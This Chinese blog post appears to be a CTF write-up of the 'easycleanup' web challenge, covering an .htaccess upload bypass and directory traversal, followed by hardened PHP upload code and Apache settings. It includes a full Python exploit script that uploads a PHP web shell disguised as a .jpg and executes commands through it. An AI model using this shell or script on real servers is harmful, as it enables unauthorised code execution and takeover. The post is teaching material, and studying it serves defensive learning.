共计 2588 个字符,预计需要花费 7 分钟才能阅读完成。
背景分析
CTF 比赛中的 Web 题目通常考察选手对常见 Web 漏洞的理解和利用能力,包括但不限于 SQL 注入、文件上传漏洞、目录遍历、命令注入等。在 2021 第五空间智能安全大赛中,Web 赛题 easycleanup 主要考察了文件上传和目录遍历漏洞的组合利用。题目环境为一个简单的文件上传服务,预期漏洞类型为通过文件上传绕过和目录遍历获取服务器权限。

漏洞原理
文件上传过滤机制绕过
文件上传功能通常会检查文件扩展名、MIME 类型等,以防止恶意文件上传。然而,通过上传 .htaccess 文件,攻击者可以重新定义服务器对特定文件扩展名的处理方式。例如,可以配置服务器将 .jpg 文件当作 PHP 脚本来执行。
目录遍历漏洞
目录遍历漏洞允许攻击者访问服务器上本应受限的文件或目录。在本题中,通过构造特殊的文件路径(如../../../etc/passwd),可以读取服务器上的敏感文件。
攻击链构造
- 上传恶意
.htaccess文件,配置服务器将.jpg文件当作 PHP 脚本执行。 - 上传包含 PHP 代码的
.jpg文件,通过目录遍历漏洞访问该文件,触发代码执行。 - 利用代码执行获取服务器 shell,进一步提权或获取 flag。
以下是完整的 Python 自动化利用脚本:
import requests
import logging
# 配置日志记录
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
# 目标 URL
TARGET_URL = "http://example.com/upload"
# 上传.htaccess 文件
htaccess_content = "AddType application/x-httpd-php .jpg"
files = {'file': ('.htaccess', htaccess_content, 'text/plain')}
try:
response = requests.post(TARGET_URL, files=files)
if response.status_code == 200:
logging.info(".htaccess 文件上传成功")
else:
logging.error(".htaccess 文件上传失败")
except Exception as e:
logging.error(f"上传.htaccess 文件时发生错误: {e}")
# 上传恶意.jpg 文件
malicious_php = "<?php system($_GET['cmd']); ?>"
files = {'file': ('shell.jpg', malicious_php, 'image/jpeg')}
try:
response = requests.post(TARGET_URL, files=files)
if response.status_code == 200:
logging.info("恶意.jpg 文件上传成功")
else:
logging.error("恶意.jpg 文件上传失败")
except Exception as e:
logging.error(f"上传恶意.jpg 文件时发生错误: {e}")
# 触发代码执行
cmd = "ls -la"
exploit_url = f"{TARGET_URL}/../uploads/shell.jpg?cmd={cmd}"
try:
response = requests.get(exploit_url)
if response.status_code == 200:
logging.info(f"命令执行结果: {response.text}")
else:
logging.error("命令执行失败")
except Exception as e:
logging.error(f"执行命令时发生错误: {e}")
防御方案
安全的文件上传实现(PHP 示例)
<?php
$allowed_extensions = array('jpg', 'png', 'gif');
$upload_dir = 'uploads/';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {$file = $_FILES['file'];
$file_name = basename($file['name']);
$file_ext = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));
// 检查文件扩展名
if (!in_array($file_ext, $allowed_extensions)) {die("不允许的文件类型");
}
// 生成随机文件名
$new_file_name = uniqid() . '.' . $file_ext;
$upload_path = $upload_dir . $new_file_name;
// 移动文件
if (move_uploaded_file($file['tmp_name'], $upload_path)) {echo "文件上传成功";} else {echo "文件上传失败";}
}
?>
服务器配置加固(Apache)
# 禁止.htaccess 文件覆盖
AllowOverride None
# 限制目录遍历
Options -Indexes
# 限制文件类型
<FilesMatch "\.(htaccess|htpasswd|ini|phps|fla|psd|log|sh)$">
Order Allow,Deny
Deny from all
</FilesMatch>
避坑指南
- 未限制文件上传类型:仅检查客户端提供的 MIME 类型或文件扩展名,未在服务器端进行验证。
- 未禁用危险的服务器功能 :如未禁用 PHP 的
system、exec等函数。 - 未设置正确的文件权限:上传目录设置了可执行权限,导致上传的文件可以被执行。
延伸思考
- 如何在不依赖文件上传功能的情况下,利用目录遍历漏洞获取服务器权限?
- 在防御文件上传漏洞时,除了检查文件扩展名和 MIME 类型,还有哪些有效的防护措施?
总结
通过分析 easycleanup 赛题,我们深入理解了文件上传和目录遍历漏洞的原理及利用方式。在实际开发中,开发者应严格验证文件上传内容,并合理配置服务器权限,以防止类似漏洞的发生。希望本文能帮助读者更好地理解 Web 安全攻防实战技巧。
正文完
发表至: 未分类
近一天内
